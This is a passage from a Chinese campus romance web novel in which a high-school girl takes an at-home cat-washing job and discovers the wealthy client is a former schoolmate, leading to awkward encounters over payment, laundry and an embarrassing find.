别人的999元可能就和她的9元一样,花起来毫不心疼吧……她无不凌乱地想着,紧跟着又在心里反驳了:不,不对,就算是9元她花着也还是有点心疼的!好歹够买两本错题本了呢!
买家下完单就不闻不问了,舒禾却还是得管的,而且她还赶时间,叹着气返回聊天页面,思考了半天,字斟句酌打字。
-你好,这个是防拍价哦,请问是需要上门洗猫吗?
发出去后,她看来看去,总感觉有点生硬,于是又添上一个笑脸表情。
毕竟这单来得如此天时地利,可不要黄了。
消息发完,只等买家回复。
舒禾觉得这大概会是一个漫长的过程,不想浪费时间,于是又翻开数学题做起来。
果不其然,手机再次震动起来时,她的数学题已经翻到新的一页。舒禾拿起手机的时候还有点略微紧张,万一他回复说不需要怎么办?
偏偏手机又极为卡顿,等了又等,心焦意乱之时,消息终于跳出来:
en。
嗯?
这是字都还没来得及孵化成型,就被人着急忙慌抛洒出来了。
舒禾无语地感叹,原来有钱人是真的如此日理万机,回消息都要挤着空隙。
紧迫感瞬间就提上来了,趁着他刚回过信息,应当还在使用手机,舒禾两指飞快地打字道:请问是什么猫呢?多重?有无伤人历史?疫苗齐全吗?什么时间呢?地址和订单信息是同一个吗?
一气呵成地打完发送,她才想起来自己还没有去看买家地址,正好也要等待回复,舒禾便翻找着订单发货信息,若是太远她就不去了。
翻着翻着,四个映入眼帘:臻山壹号。舒禾手指讶异地顿住,这不就是她附近那个,传闻里是蓉城贵胄聚集的传统富人区吗?
对方这次回得倒是挺快,舒禾还在愣神的时候,上方弹出一个消息框,竟是明晃晃三个大字:不知道。
不知道??
舒禾又迷惑了,目光直直钉在屏幕上,仿佛想穿透网线看到对方到底是何方神圣。
好在这位买家还没有那么丧心病狂,下一句便简短但好歹回复了她的问题:15,我,齐,快,嗯。
她默了默。
有那么一瞬间,舒禾要开始怀疑自己看不懂中文了。
宛如乱码的一串字,不知道的人一定会以为这是个什么独特的暗号。
她腹诽两秒,将这“暗号”一个个对照着自己的问题,才明白了过来,而后回道:是长毛短毛呢?短毛100,长毛140,我给您修改一下链接[笑脸]。
手机的另一端,贺行雪视线抬了抬,看着被自己关进卫生间,还在咚咚咚刨门的三花猫,深深拧起了眉。
修长手指迫切地打字回道。
-先来。
11. 第 11 章
舒禾先给秦嘉文发了条消息,解释自己有事可能要午饭后到书店。又立马联系了任姝宁,向她家借了个烘干箱。
任姝宁家里是干宠物洗护的,去年寒假舒禾就去过她那边打工——比起自家给人类洗头的理发店,她还是更愿意和小猫小狗打交道。
经历一寒假的磨练,她的洗猫技能已经相当娴熟。
宠物店不远,拿到烘干箱,舒禾抱着便忙不迭赶往臻山壹号。
因为离得近,她其实不是第一次来这边,但还是再次被这座气派的大门深深震撼到了。今天气温如蒸笼一般,舒禾抱着背着一堆东西,汗意淋漓,边打开订单地址边走去保安亭。
“你好,请问17栋在哪里呢?客人预约了上门洗猫。”舒禾礼貌问道。
闻言,保安奇怪地多看了她两眼——这事儿早上有人知会过,可业主不是说大概是年纪三十往上的大姨吗?这怎么来的是个小姑娘?
但他仔细瞅了瞅订单信息,确实是那户业主没错,于是问:“还有同行的人吗?”
舒禾摇了摇头:“没有了。”
保安内心嘀咕着怪哉,一面又带着她往里走:“业主提前打过招呼了,司机现在开接驳车送您进去。”
舒禾下意识想说不用麻烦,她自己走进去就行了。但是看门口已经停着一辆接驳车,想来是都安排妥当了,便又咽了回去。
很快她就开始庆幸自己没有说出口——
刚坐上车时,舒禾本来还在车上沉浸欣赏园林美景,各式精致的造型目不暇接,接着又经过一大片青绿色高尔夫球场,一望无际的大草坪点缀着寥寥几个人影,蓝天白云,仿若油画一般美不胜收。
但看着看着,她渐渐意识到不对劲,这也太久了吧。
等到终于停车后,她低头看了眼时间,竟然都过了快二十分钟!这还是坐车进来的,怪不得安排得这样细致,若是用腿走进来得多久啊……
“到了,就是这里,需要帮忙吗?”司机给她指了指位置,见她小小一个带了一大堆东西,不由问道。
“不用不用,谢谢。”舒禾礼貌拒绝了。她不是第一次接上门洗猫的单子,这些重量还勉强承担得起。若是等会儿让业主看到她连洗猫工具都搬不动,该质疑她的水平了。
臻山壹号是独门独院,舒禾先打开了挂在胸口以防意外的摄像头,再拖着一大堆东西走到最外面的院门口。
这是一道黑色嵌金的铝艺门,旁边立柱上有一个可人脸识别的对讲机,她把脸凑过去,细细研究片刻,摁响了屏幕上的门铃标识。
“嘟——”
屋内,贺行雪在一楼沙发上边打游戏边等,客厅卫生间的门被大猫从里面刨得砰砰响,听得整个人心浮气躁,游戏也专注不进去。
不知多久,迫切等待的门铃终于响了。
他立刻扔下手机跨步过去,迫不及待地就要按下开门键,然而视线一晃,瞥见那张非常熟悉的面容,手指惊骇地顿住了。
女孩子的脸极近距离呈现在高清屏幕上,黑圆的眼睛,扑簌簌的睫毛,阳光下白玉透红的面颊,通通涌进他的视线——
贺行雪瞳孔一点点地放大。
他不就几天没去学校吗。
这个荷包蛋怎么还追到他家里来了!!
贺行雪震惊不已,下意识看了看自己的穿着。
恒温的屋里,他只穿了件单薄的长袖居家服,松松垮垮,连纽扣都没系到最上方,漏出一片锁骨。
给人一种,稍稍用力一扯就能扯掉的感觉。
门铃又响了一声,贺行雪赶紧止住自己发烫变歪的思维,匆匆跑到电梯间摁下三楼,怀着满脑子“孤男寡女共处一室”这些词汇,他的脑子闷闷胀胀,回自己房间飞快捣鼓了一番。
收拾完复又回到一楼,他沉着脸,盯视屏幕里此刻女生皱起眉毛的脸,恶狠狠按下开门键。
这个荷包蛋实在是……实在是太放浪形骸了!
他倒要看看,她追到自己家里来是要做什么。
院门终于开了。
舒禾差点要给他打语音通话过去,见此便放下手机,哼哧哼哧地拖着东西,一路穿过宽敞的花园,心里因为苦等许久陡生了几缕怨气,都没心情欣赏园内美景了。
花园小径尽头便是大门,舒禾抵达后,腾出手敲了敲门。
这次没让她久等,门内很快传来动静,仿佛主人早在屋内等着这一声敲门。
舒禾还没来得及想他刚才为什么不顺手将这道门也打开时,门锁咔擦地转动一声。
门开了。
只吝啬地开了一条缝。
舒禾伸手直接扒拉开,抬眸一望,毫无准备的,就和屋内散发怨气的臭脸男生对上了目光。
心跳一滞,她缓缓睁大了双眼,脑子如同生锈的门锁般停止转动。
“你……”
贺行雪冷着脸打开门,原本准备好的腹稿,却在看见女生怀里抱着的烘干箱时,骤然消散。
视线在上面顿了半晌,渐渐明白过来似的,慢慢蹙起了眉。
……他想错了?
今早外公外婆各自出门后,贺行雪翻来覆去睡不着,罕见地爬起来准备吃个早餐,结果下楼电梯门一开,竟一股恶臭扑鼻!
他定眼一看,那只大猫尾巴上居然粘着一团粑粑!还在满屋子上蹿下跳蹭得到处都是!
有那么一瞬间贺行雪觉得自己是在做噩梦。
可呼吸间那股味道臭得无比真实,偏巧又逢上容姨家里有事请假三天,才给了这猫作案之机。贺行雪心里崩溃,立刻打电话叫了钟点工清理家里,又上闲鱼搜了个距离最近的上门洗猫员,匆匆下单后便去把猫赶进卫生间。
这个上门洗猫员的头像他记得清楚,是朵盛开的莲花,哪里会是十几岁女孩子用的?分明往三十岁预估都是保守了,可是眼前来的人……
贺行雪看着门口女生,觉得今天这日子绝对跟自己犯冲。
舒禾缓了好一会儿,才接受了那个人傻钱多的买家是自己前校友这件事情。
她讷讷看着他说:“……是你下的单吗?那个……上门洗猫。”
说完,顿时就感觉自己问了句废话。
她迎着男生打量的眼神,那种久违的不自在又浮了上来。
为图洗猫方便,她今天穿得极其随意,一件洗得发白的黄色短袖,和一条防止溅湿水的短裤。
本来觉得没什么,就是普普通通抿于人群的穿搭。可现在再一看眼前这个男生——内里穿着菱格撞色上衣,外面套了件黑色连帽针织薄衫,身形挺括,肩宽腿长地往这里一站,说这儿是他的走秀台她都信。
舒禾第一反应是,他不热吗?旋即便感受到了屋里涌来的阵阵凉风,她默了默,镇静的笑容里藏了丝尴尬:“那个,我来洗猫,是上次见过的那只三花吗?”
她统共也就在书店遇见了一次。
贺行雪还是很难相信地看了她一眼。
荷包蛋真是来洗猫的啊。
他恍然点头,又皱起眉:“它尾巴
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上,粘了,粘了……”
粘了什么,后面那个词仿佛难以启齿似的。
舒禾懂了,这种情况也不是没遇见过,她很快把情绪调整至工作状态中,一边穿鞋套一边问道:“拉肚子了是吧?”
贺行雪:“应该是。”
舒禾:“猫在哪?”
“卫生间。”
他走在前面引路,舒禾跟在后面进屋,走到阔大的豪宅客厅,隐隐有种刘姥姥进大观园的感觉。
两人停在卫生间门口。
那只三花舒禾见过,是很亲人的性子,只是猫科动物天性警惕,以免发生意外,她还是拿出提前准备好的冻干零食,准备先安抚一番。
手搭上门把手,开门前她问道:“它叫什么名字?”
贺行雪:“猫。”
舒禾顿了顿,疑惑地回头看他一眼,确认自己没听错:“叫什么?”
贺行雪皱眉,似乎有点不耐烦:“猫,叫猫。”
舒禾胸口哽了哽,窘迫笑道:“哈哈,这么随便嘛……”
贺行雪随口道:“它自己起的。”
当初他在路边捡到它,问它叫什么名字。
它蜷在地上,向他虚弱地“猫”了一声。
于是他把它从冰天雪地里带回家,从此以后,贺行雪就有了只叫“猫”的猫。
“……”
舒禾突然觉得,这个男生脑回路似乎有点不正常。
但她没说话,转头小心翼翼推开一个门缝,湿漉漉的小猫鼻子顿时挤了出来,在那里呼哧呼哧的。
天啊太可爱了!舒禾心里不断感叹,上次在书店就很想摸摸它,这次居然直接能给它洗澡了!
一个猫鼻子就把她给俘获了,舒禾心生怜爱,轻声逗弄它:“小猫小猫,我们又见面啦。”
这细声细气的嗓音吸引了贺行雪的目光,他不由自主地垂眼看过去,女生蹲在卫生间门口,歪着脑袋,伸出一截白皙手臂,一晃一晃地逗弄门缝里的小猫,连带着她脑袋后面扎起来的小啾,也一晃一晃的。
晃得贺行雪有点眼花,他闭了闭眼。
没成想视觉被隔断后,听觉就变得尤为灵敏,女孩子甜腻的声音越来越清晰地闯入耳中:
“小猫,待会儿要洗澡了哦,怕不怕呀。”
“别怕别怕,我会很小心的,不会把水溅到你耳朵眼睛里。”
“一会儿你要乖乖的,我奖励你零食吃呀。”
一声接一声,一声又一声,是和平时完全不同的嗓音,软和的,仿佛被水洗过一般,湿淋淋,连带着婉转起伏的腔调,一丝不落地尽数灌进他的脑海。
身体不知哪处开始发烫,像沸水一样滚过了全身,他蓦然有种头不是头脚不是脚的怪异感觉。
贺行雪倏地睁开眼,睫毛微颤。
荷包蛋这就开始使用她的绝招了吗?
呵,大招面前谁不避谁是傻蛋,贺行雪心绪百转,决意暂避风头,等待他蓝条恢复后再同她一决胜负。
“它的洗护用品在柜子里,你慢慢洗,我回房间睡个觉。”他佯装困顿地打了个哈欠。
舒禾闻声回头看了他一眼,点点头没怎么在意。
可偏是她这副不甚在意的神情,更让贺行雪觉得这是故意为之,心中冷笑了声。站在电梯厢里的时候,他还耿耿于怀这件事。
安静密闭的空间里,仿佛能听见心脏在突突地跳动。
他不由安慰自己。
他这招叫战术撤退,可不是临阵脱逃。
12. 第 12 章
贺行雪一回房间,就把自己扎进床褥中,闷了许久,直到快不能呼吸的时候,才往一旁翻了个身。
房间里很是寂静,他瘫在床上,仰头注视吊顶,渐渐的,无意识屏了屏呼吸,凝神想要窥听楼下的动静。
结果当然什么也没听见。
他又沉重地喘了两口气,数着时间发呆。
感觉瘫了许久,拿起手机一看,居然才过去两分钟。他心烦意乱地关掉,无所事事地胡思乱想,把从小到大做过的丢人的事情都回忆个遍,又故意多忍耐了一会儿,再拿起一看,竟也才蜗牛似的过了五分钟!怕是连猫的底绒都没有打湿透彻。
贺行雪觉得不能这样干耗着,便给程敬宇打了语音,叫他上线打游戏,程敬宇很快回了“ok”。
一局结束,终于半小时过去,他说了声“不打了”,里头立刻传来好兄弟的怒骂:“贺行雪我他妈刚热身完,手感都上来了,你突然不打了耍我呢!”
他果断退出游戏,隔绝了骂声。数着时间,又在房里坐了十分钟,才慢条斯理起身下楼。
出门前路过一面全身镜,不经意地照了照。
楼下。
猫已经洗完放进了烘干箱,按以往经验,差不多要吹一个多小时。舒禾将卫生间里乱飞的猫毛清理干净,才汗涔涔地走出来,准备找个凳子歇一歇。
没想到刚踏出去,就看见客厅里,直挺挺立着一个当电线杆的男生。
她愣了愣,不知怎的,突然回忆起自己刚才趁他不在,在洗澡时玩弄了好一会儿小猫。
心里还有点不好意思,脸颊粉扑扑的。
工作时间怎么能玩弄客户呢。舒禾默默谴责自己。
屋子主人都站着,她也不好去坐下,静默片刻,只能没话找话地说:“猫猫刚洗完,你……睡醒了呀?”
这样纯粹客套的招呼,一落在贺行雪耳朵里,就完全变了味道——
荷包蛋这就开始好奇地窥探他的起居了。
心思如海啊。
贺行雪内心冷哼,暂没回答,目光黑压压地循声过去,落在卫生间门口的“洗猫工”身上。
舒禾刚洗完猫,还没来得及打理自己,衣裳有几处溅了几滴水,隐隐透着布料底下白皙的肤色,半粘不粘地贴在腰窝上。
卫生间关着灯,阳光从后方窗户里斜照进来,柔柔地勾勒她的身形。
昏昧处,隐隐约约显着青涩起伏的轮廓。
他简直猝不及防,视线在那里一触即离,猛地偏过脑袋,胸腔里霎时像是炸开了烟花,噼里啪啦响个不停。
贺行雪头脑眩晕了好半晌,一会儿暗恼这个女生心计深沉一定是故意的,一会儿便将其否决,觉得她神情太过无辜,一会儿又在心里冷呵,这是他自己家里有什么好怕。
不管怎样,那个画面依旧在脑海中沉沉浮浮。
他目视地面,奋力从杂乱的神志里冲出来,半晌,找不清调地“嗯”了声,算是回答她的问题。
但屋里太过空旷安静,一出声才发觉声线是抖的,他顿觉失面,慌慌抬头,三步并两步去冰箱里拿汽水喝。
身影如狂风刮过。
舒禾还愣在原地,皱眉观看他的怪异行为。
所以,穿这身衣服果然还是热的吧,他连耳朵都红透了,脑子看起来也闷得不太精明。
但她到底没多管闲事,跑去看烘干箱里的小猫了。
冰箱在厨房的拐角处,刚好能够隔绝客厅的视线,贺行雪没料到自己手也是抖的,易拉罐的拉环拉了好几次,才险险抠开,噗呲一声响,气泡绵密地在心上滚来滚去。
他喉结滚动着囫囵咽下好几大口,才让冰凉勉强抚平了体内的躁动。
明明在自己家里,可他一时竟没敢出去,就着汽水,靠墙发了会儿呆。
脑海里一会儿响起女孩甜甜软软的声调,一会儿又浮现那若隐若现的轮廓,那画面刚出来,立刻就被他狠狠闭眼屏蔽掉,心道荷包蛋这出连环计,简直令人防不胜防啊。
贺行雪不甘落于下风,想了想,又从冰箱里取出一罐汽水,尽量平静地走了出去。
烘干箱置在电视墙旁边,三花猫毛发乱飞蜷在里面,很乖很安静,倒是外面的人类在小心翼翼张牙舞爪地逗着它。
“小猫,你现在好像一只小狮子呀,啊呜啊呜~”她模仿着那副凶神恶煞的样子。
贺行雪表情嫌弃地听着,半晌,才提步过去。
“喝不喝。”
他停在蹲着的舒禾面前,冷淡地将汽水递出去,眼神落在了别处。
舒禾微微诧异地扬起头。
男生一副懒散的姿态,似乎还略藏了些许不耐烦,撇过脸不看她,大概是出于客套站在这里,连问句都变成了平冷的陈述。
她怕他拿久了暴躁,伸手接过,轻轻说了句“谢谢”,暂时没准备喝。
随后想起这单的价格问题,便从烘干箱前站起身,准备同他仔细说说,然而还没来得及开口,就眼睁睁看着男生仿佛避瘟疫一样,立刻往她远处快走了好几步。
转而又好像意识到自己举动太过突兀,僵僵地走到最近的沙发上坐下。
“……”
舒禾不知怎么有点气地盯住他。
这目光太过直白,贺行雪莫名坐立难安,眉眼低敛幽冷道:“怎么,我脸上有金子啊。”
舒禾嘴唇抿了又抿,想起他那副避瘟疫的样子还是很气,小声轻飘飘怼了句:“你头上有呆毛。”
放屁,他下楼前才照了镜子的。贺行雪把这句反驳压了回去,没说出口。
在家里还要时刻照镜子,这样显得他在她面前也太在意形象了。
他可不想让她误会,免得她越陷越深。
贺行雪自觉做了次好人,心里那股不自在勉勉强强消了下去,只是依旧不去看她。
“还要吹多久?”
“应该还要一个多小时。”
他们还得面面相觑这么久?贺行雪微微皱眉:“不能快点?”
舒禾站在旁侧,摇头说不行:“没吹干容易得皮肤病的。”
贺行雪“哦”了声,目视前方没说话。
偌大的客厅安静下来,仅有极轻微的风声。这样的安静本该是习以为常的,但贺行雪不知道自己哪里不对,明明屋子里只是多了个没什么存在感的人,但却总觉得难以适应,甚至身体都渐渐起了战栗。
他开始想着要不要继续打游戏消耗时间。
他陷入纠结时,舒禾刚思考完措辞,抬起眼公事公办道:“一会儿吹完毛,我会给它剪指甲剃脚毛,再给你清理好卫生,这单就结束了,费用一共是140,我现在去把之前999元的链接关闭,重新开一个,需要麻烦你再下一次单哦。”
言辞间很是礼貌客气,没
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有把他当作一个有过几面之缘的校友,完全是对待普通买家的态度。
贺行雪偏就听着不爽,在她解锁手机准备操作时冷声打断:“不用。”
舒禾一愣:“啊?”
贺行雪:“就这样吧,不用退。”
他想不清楚不爽的源头在哪,只能归咎于病症又加重了,整个人都有些消沉下来,眼皮恹恹地耷着。
舒禾有些难以置信地看着他,提醒道:“你付的是999元诶!”
贺行雪:“嗯。”
他毫不在意,甚至眼皮都阖上了,看起来像要睡觉。舒禾胸口哽了哽,这就是富人的生活吗,一千元说扔就扔了,对比起来自己着实有点惨。
她只伤春悲秋了十秒,继续接着上个话题:“不行,或许你是不在意,但是我不想拿工作之外的钱。”
贺行雪懒得睁眼:“这是你的事情。”
舒禾觉得和这个人好难沟通,还阴晴不定的:“这是我们之间的交易,服务内容和价格都有明确标明。”
贺行雪说:“我多付钱有什么问题?”
舒禾想不明白:“你为什么要多付钱?”
贺行雪:“因为我钱多。”
说完又慢吞吞补了一句:“多得没地方花。”
舒禾捏了捏拳:“……你留着以后慢慢用,这次的我先给你退掉。”
贺行雪仿佛和她杠上了:“不要。”
舒禾提了提声:“为什么?”
贺行雪说:“因为我懒得动。”
舒禾心里咬牙:“我可以帮你操作。”
贺行雪:“我不喜欢别人碰我手机。”
舒禾忍不住了:“贺行雪!”
他略诧异地掀开眼皮。
舒禾正瞪着他,一双杏仁眼黑黝黝的,脸颊好似被气得有些泛红,平日里温吞的神情都消失不见。
生气的荷包蛋,有点少见。
贺行雪心情莫名其妙又转好了。
他也不再同她作对,想了想,说:“阿姨这两天请假,堆了几件衣服,我自己懒得动,你帮我放进洗衣机,多余的钱就当报酬,怎么样。”
花八百多就让人把衣服放进洗衣机。
专业洗衣店都没这么赚吧。
经过刚才那一通理论,舒禾实在已经累得不想再和他争执了,也彻底打消了还他水杯钱的念头。
八百多都磨破嘴皮了,那几十块怕要说到明天去。
于是她答应了:“好,衣服和洗衣机在哪里?”
贺行雪从沙发上起身,边走边说:“洗衣机在后花园,从厨房进去,我上楼把衣服拿下来。”
舒禾“啊”了一声。
他自己都把衣服拿下来了,那她做什么?
坐在一楼等着他送进自己手里,然后她从客厅走到厨房后面放进洗衣机?
“要不,”还是说服不了自己,舒禾叫住他,“你告诉我在哪,我去拿吧。”
贺行雪脚步顿了顿,半侧过身,看了过来。
眼神略带异样。
“我的卧室,你要进去吗?”
舒禾:“……”
不知怎么的,她本来觉得进卧室拿衣服没什么,但被他一字一句说出来,脸颊就一阵阵发烫。
仿佛这是个多么隐秘的事一样。
她声音低下去,讷讷地“哦”了一声,不再说话。
13. 第 13 章
脏衣篓里只有一套昨晚换下来的衣服,贺行雪弯腰随手捞到怀里,掂了掂,觉得似乎有点太少了,显得太刻意,他站在原地纠结了片刻,转身走到衣帽间,挑挑选选,最后从衣柜里扯了两件短袖出来。
这样就差不多了。
乘电梯回到一楼,舒禾还站在原地等待,听见电梯门开的声音,她赶紧小跑过来,双臂微张着,接过他手中的衣物。
有那么一瞬间,贺行雪差点误会她是要跑过来抱住他,下意识退了一步。
“只有这么一点吗?”舒禾看着手里的衣服问。
“……”
贺行雪还沉浸在刚才的脑补中,顿了顿,别过头,含糊地“嗯”一声:“用最外面的洗衣机,记得点烘干,我上楼睡会儿。”
“好的。”
舒禾目送男生进到电梯,才转身抱着衣服哒哒哒跑到厨房里。
怀里一直徐徐飘着那股熟悉的苦橙味,舒禾轻轻嗅了嗅,不由心里嘀咕,这些衣服怎么闻起来跟刚洗过一样,什么洗衣液留香这么久?
少爷果然还是少爷,连穿过的衣服都是香气盈盈的。
厨房明亮宽敞,中间设了大理石岛台,贺行雪说的那门很显眼,就在最里面贴着墙,可以透过厚玻璃看到外面绿意盎然的后花园。
径自欣赏着门外绿叶阳光,舒禾一边感叹居住在这样的环境还会有什么烦恼,一边踱步过去将门推开,目光大致一扫,紧挨厨房的墙角处放置了两台洗衣机,她依言把衣服放进最外面那台,起身拿洗衣液的时候,却犯了难。
架台上整整齐齐排列着色彩各异的洗衣液,估摸着能有七八瓶,其中四瓶看起来是开过封的,舒禾皱了皱眉,不太懂这里面有没有什么讲究,又怕给人衣服洗坏了赔不起,下意识想上闲鱼问问贺行雪,才想起来他刚说要睡觉。
纠结须臾,还是决定不能扰雇主好梦。
没办法,她只好一瓶瓶拿起来翻看中文标签。
目光触及第一个瓶身上的“迷迭香”几个字,舒禾动作一顿,忽而想起自己总能在他身上闻到的那股幽微的橙香,清淡通透,仿佛置身于深冬的橘子林。
她将手中的放回原处,接着一瓶瓶找了过去,终于在中间那瓶上看见印着的“蓝丝柏与苦橙叶”,应该是这瓶了吧。
味道名称也好独特。舒禾开盖时凑近闻了闻,鉴定为贺少爷同款味道,只不过是MAX浓缩版。便放心地挤了些许进去,再设置好洗衣模式和烘干。
一切做完,舒禾瞅着那瓶洗衣液,看了又看,还是忍不住拿起手机搜同款。
没办法,这个味道不仅好闻,闻久了还总觉得精神舒缓,她想着,若不是太贵可以买一瓶试试,当作学习之余用来放松精神的物品。
大龄手机漫长加载过后,屏幕上同款商品跳了出来,规格五百毫升一瓶,有点少。
她视线下滑一看价格,居然快到两百了。
乍一看感觉还好,似乎不算特别贵,但舒禾想到家里那桶四斤装的洗衣液,顿时冷静下来关掉了手机。
她突然觉得,二十块一桶也挺好用的。
回到客厅,猫猫还在烘干箱里舞狮,屏幕上显示还剩一小时,舒禾逗它玩了一会儿,又抓紧时间翻出题册,埋头在餐桌边做完几页,烘干箱便“嘀嘀”停止了。
刚洗完的小猫温热香软,舒禾抱在怀里给它把毛毛梳顺,随后起身去拿剪指甲的工具。
然而猫猫一脱离控制,顿时如脱缰野马,在客厅上蹿下跳,舒禾心惊胆战地看着,生怕它把什么东西碰碎,急忙追赶在猫屁股后,奈何小猫身影矫健,她一捞一个空,还差点把自己给摔了。
舒禾累得不行,喘着气停下来,四处观察。
或许是因为养了猫,客厅里倒是看不到什么易碎物品,她心下稍安,耐心等小猫这股疯狂劲过去。
三花猫在领地里巡视了半天,再一个大跳上了沙发,咚咚咚地来回飞窜,爪子突然勾碰到什么,哗啦啦一声,有东西掉了下去。
舒禾听见声音心里一咯噔,连忙跑了过去。
只见地毯上是一个黑色手提包,大概是没拉拉链,里面的东西零零碎碎散落出来。
花里胡哨的封面,堆了约莫有一二十个,舒禾以前在任姝宁那里见过类似的东西,好像是switch上的游戏卡带。
还好不是什么玻璃易碎制品。
她蹲下身,一个个捡起来,整齐摞放回包里。
连着放了好几个,猝不及防的,里面竟有一张封面十分色.情的光碟暴露出来。
舒禾刚伸出去的手猛地颤了颤。
这张光碟混在一堆游戏卡带中,只露了一角,能清晰看见上面衣衫尽褪的女人,眼神妩媚,摆出的姿势非同寻常。
满目肉色映入眼帘,舒禾从未见过如此极具冲击力的画面,顿时瞠目结舌,一瞬涨红了脸颊。
半空中的手颤颤巍巍,想碰又不敢碰。
贺行雪……贺行雪……他还是未成年吧,怎,怎么能在背地里看这种东西!
舒禾腮颊滚烫,仿佛窥见了什么不能为人道的秘辛,心跳得极快。
僵持了半晌,她索性狠下心来两眼一闭,红着脸飞速把它塞进手提包里,又手忙脚乱地把其他东西一并整理好,按照原本的模样谨慎放了回去,才稍一松口气。
她可不敢让他发现自己看到了他的光碟,这种事尴尬不说,万一他恼羞成怒,一气之下把她打一顿怎么办?
还好他在楼上睡觉。
不、不对,他到底是在睡觉……还是窝在房间里看那种东西?
乱七八糟的想法一股脑冒出来,舒禾颇为心慌意乱地抬起眼睛,往电梯方向觑了一眼,结果就这一眼,却见电梯门轻颤,竟缓缓往两侧移开。
舒禾惶然地睁大眼睛,手足无措。
那道高挑的身影正站在金属梯厢内,姿态随性懒散,英挺又困倦的面容显露出来,那双漆黑的眸子略抬,目光恰好与她相接。
舒禾心脏一颤,顿时如见青獠恶鬼,慌不择路地逃开,转瞬就离沙发上的罪证“十丈远”。
贺行雪皱眉,奇怪地微歪着头看她。
他一个早晨没吃东西,才睡没多久便饿醒了,顶着睡意下楼寻点吃的。电梯门一开,就看见客厅一团黑影急急晃过,几乎从沙发跳到了门口鞋柜。
不知道的还以为家里遭贼了。贺行雪这时才从睡梦里惊醒,回忆起家里多了个人,他略略惊奇地望着女生,片刻后,朝她走了过去。
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“你怎么了,脸这么红。”
习惯性停在距离她一米的位置,贺行雪敛眸端详着女生红得不正常的脸。
“啊,有、有吗?可能是,太热了吧……”舒禾无端心虚,说话结结巴巴的,眼神乱晃,左顾右盼,就是不敢看他,心脏都快要跳出胸口。
她觑一眼沙发上那个黑色手提包,又飞快移开,苦着小脸,不断祈祷着别被男生瞧出端倪。
闻言,贺行雪看了看自己的长袖家居服,又扫了眼她单薄的短袖,心里愈发疑虑。
不能是之前衣服溅了点水,又吹了空调,感冒发烧了吧?这荷包蛋的体质怎么这么脆弱。
贺行雪腹诽着,想问她要不要吃点药:“你……”
第一个音节甫一出口,舒禾如同受了惊吓般,埋着头飞快从他身旁绕了出去。
跟个炮弹似的一下窜到几米远。
贺行雪顿住,转过身去看她。
男生浑身散发着幽冷的气息,站在原地,仿若一个怨鬼。
他干嘛了,跑什么?
舒禾自然不知他所想,一边动作慌乱地收拾着自己带来的东西,一边含糊其辞:“猫猫已经洗完也剪完了指甲,衣服我也放洗衣机里设置好烘干了,卫生全部整理干净,我要先走了,你检查完没问题记得上闲鱼收货。”
她叽里咕噜说完一大堆,抱着东西急匆匆要走,贺行雪皱眉沉目,长手一伸,在门口拦住了她。
“你是不是……”遇到什么事情了。
他话未说完,舒禾慌乱心虚,怕他问出光碟之事,急迫之下音量不自觉提高了:“没有!”
好意询问却被她打断,贺行雪顿时有点不高兴了,嘴唇微抿。
冷着脸,沉默下来睨着她。
女生微微侧着脸,无措地咬了咬唇角,她的睫毛很长,目光在旁边那堵墙上乱晃,也不知道那墙有什么好看。
等了半晌,也没等到她一句慰哄的话。
他睨着堪堪到自己胸口的矮子,淡淡挪开视线,没什么情绪地“哦”了声,侧开身给她让道。
舒禾心里敲锣打鼓,想着那张碟片,一会儿羞得脸红,一会儿吓得脸白,根本没察觉男生莫测的情绪波动。
他阻拦的动作甫收回去,舒禾立刻抱着一大堆东西,头也不回地逃一般离开了。
走得毫不犹豫,可谓迫不及待,背影一溜烟就化成一个小点,连句告别的话也没有。
门内,只剩贺行雪冷清清站在原地,面色阴晴不定。
他好不容易从角落里捡拾出的一点好心,捧到别人面前,结果人家不仅不稀罕,还作出一副见了鬼的样子,慌里慌张地就跑了。
有点委屈,有点不爽。贺行雪微微咬着牙,恶狠狠地盯着骄阳下那道纤瘦的身影,仿佛要将她烧穿烧化。
房门重重地关上,发出特别大一声轰隆,仿佛某种凶残的宣誓,可惜另一个人听不见。
贺行雪不动声色摁着掌心,手被反作用力震得发疼,他转身往回走,揿亮电梯按键,门一开,面容幽冷地走了进去。
这个荷包蛋一点追人的自觉都没有。
电梯缓缓上升,贺行雪盯着金属壁面映出的面无表情的自己,心中冷笑。他可再不会给她一个好脸色。
14. 第 14 章
顶着四十度高温,舒禾哼哧哼哧地把烘干箱抱回宠物店,在路边快速解决午饭,赶到书店时已经快至下午一点。
书店门口新摆了一套桌椅,舒禾走到男生对面坐下,从书包里翻出数学题,说话时还累得有些气喘吁吁:“抱歉啊,我来晚了。”
“没关系,我早上正好练练作文。”秦嘉文温和地笑了笑,抬起眼看见她时忽然一顿,语气迟疑了一会儿:“你……不舒服吗?”
他担忧地看着女生绯红的脸颊。
听到这句话,无可避免地,舒禾脑海中不断牵扯出贺行雪的脸,以及那张碟片上不可描述的内容。
两副画面来回交替着,她呼吸颤了颤,脸颊愈发滚烫,强装镇定地说:“没有,只是外面太热了。”
“今天确实很热。”秦嘉文边说边起身,拿一次性纸杯接了温水递给她,“喝点水吧,小心中暑。”
舒禾连忙道谢,接过纸杯小口小口地喝,途中掀起睫毛偷偷看了一眼面前温文尔雅的男生。
他和贺行雪居然是朋友。
这实在难以想象,她呼吸颤了颤,握着纸杯的手慢慢收紧。
至少,秦同学一定不会像他那样,看那些令人羞于启齿的东西。
闭了闭眼,赶走脑海里乱七八糟的画面,舒禾翻开数学题册,开始同秦嘉文一起静心学习,偶尔交流几句。只能说学霸不愧是学霸,这一下午的时间她收获到好多知识,比自己独自摸索有效率得多。
很快便至五点,将要返校。
两人收拾好东西,出门时,秦嘉文脚步忽然顿了顿,像装着什么心事似的,慢慢停了下来。
舒禾疑惑地看着他。
男生嘴唇微抿,不自在地朝她指了下另一个方向,犹犹豫豫地说:“我要先去一趟阿雪家里……取点东西,就不跟你一起了,你先回学校吧。”
阿雪……
又是他。
舒禾思维发散了一会儿,下意识捏紧书包带子。她现在完全不想听到这个名字,不然总会回忆起些奇奇怪怪的画面,闻言便点点头同他告别。
临走前,她忽然想起什么,回头对他道:“对了,下周末早上我要去医院帮妈妈拿药,还是要等下午才能过来。”
陈燕梅有咳嗽的老毛病,每个月初都要固定时间去拿药,如果碰上周末,理发店生意忙不过来的时候,就会让她帮忙跑个腿。
秦嘉文应了一声。
*
周末的医院里依旧人来人往,舒禾拿着医生开的药单子,在取药窗口的大厅寻了个位置坐下。
前面还有十几号人,她拿起手机,刚准备背会儿英语单词,手机突然弹出一条消息,是任姝宁从校论坛转发来的一条帖子。
